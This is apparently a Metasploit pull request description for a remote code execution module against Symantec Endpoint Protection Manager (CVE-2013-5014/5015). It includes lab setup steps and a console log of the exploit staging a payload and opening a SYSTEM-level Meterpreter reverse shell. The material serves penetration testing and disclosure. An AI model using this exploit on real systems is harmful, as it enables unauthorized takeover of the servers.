rapid7/metasploit-framework — pull request #3029 by xistence (2014-02-24 08:07:54+00:00)
Title: Symantec endpoint protection rce

This is the exploit for Symantec Endpoint Protection Manager 11.0, 12.0 and 12.1. Also known under CVE-2013-5014 and CVE-2013-5015.

Test environment:
- Installed on a Windows 7 Pro 64-bit VM.

Register/Login for a trial on https://www4.symantec.com/Vrt/offer?a_id=117524
Then when the download starts, change the download url to http://esdownload.symantec.com/akdlm/CD/MTV/Symantec_Endpoint_Protection_12.1.3_SEPM_EN.exe instead to download the older version.
Keep everything default during the installation.

msf > use exploit/windows/http/symantec_endpoint_manager_rce
msf exploit(symantec_endpoint_manager_rce) > set RHOST 172.16.117.214
RHOST => 172.16.117.214
msf exploit(symantec_endpoint_manager_rce) > exploit

[*] Started reverse handler on 172.16.117.1:4444
[*] 172.16.117.214:9090 - Sending payload
[*] Command Stager progress - 3.90% done (3949/101355 bytes)
[*] Command Stager progress - 7.79% done (7898/101355 bytes)
[*] Command Stager progress - 11.69% done (11847/101355 bytes)
[*] Command Stager progress - 15.58% done (15796/101355 bytes)
[*] Command Stager progress - 19.48% done (19745/101355 bytes)
[*] Command Stager progress - 23.38% done (23694/101355 bytes)
[*] Command Stager progress - 27.27% done (27643/101355 bytes)
[*] Command Stager progress - 31.17% done (31592/101355 bytes)
[*] Command Stager progress - 35.07% done (35541/101355 bytes)
[*] Command Stager progress - 38.96% done (39490/101355 bytes)
[*] Command Stager progress - 42.86% done (43439/101355 bytes)
[*] Command Stager progress - 46.75% done (47388/101355 bytes)
[*] Command Stager progress - 50.65% done (51337/101355 bytes)
[*] Command Stager progress - 54.55% done (55286/101355 bytes)
[*] Command Stager progress - 58.44% done (59235/101355 bytes)
[*] Command Stager progress - 62.34% done (63184/101355 bytes)
[*] Command Stager progress - 66.24% done (67133/101355 bytes)
[*] Command Stager progress - 70.13% done (71082/101355 bytes)
[*] Command Stager progress - 74.03% done (75031/101355 bytes)
[*] Command Stager progress - 77.92% done (78980/101355 bytes)
[*] Command Stager progress - 81.82% done (82929/101355 bytes)
[*] Command Stager progress - 85.72% done (86878/101355 bytes)
[*] Command Stager progress - 89.61% done (90827/101355 bytes)
[*] Command Stager progress - 93.51% done (94776/101355 bytes)
[*] Command Stager progress - 97.41% done (98725/101355 bytes)
[*] Sending stage (769024 bytes) to 172.16.117.214
[*] Command Stager progress - 100.00% done (101355/101355 bytes)
[*] Meterpreter session 1 opened (172.16.117.1:4444 -> 172.16.117.214:53346) at 2014-02-24 14:54:37 +0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM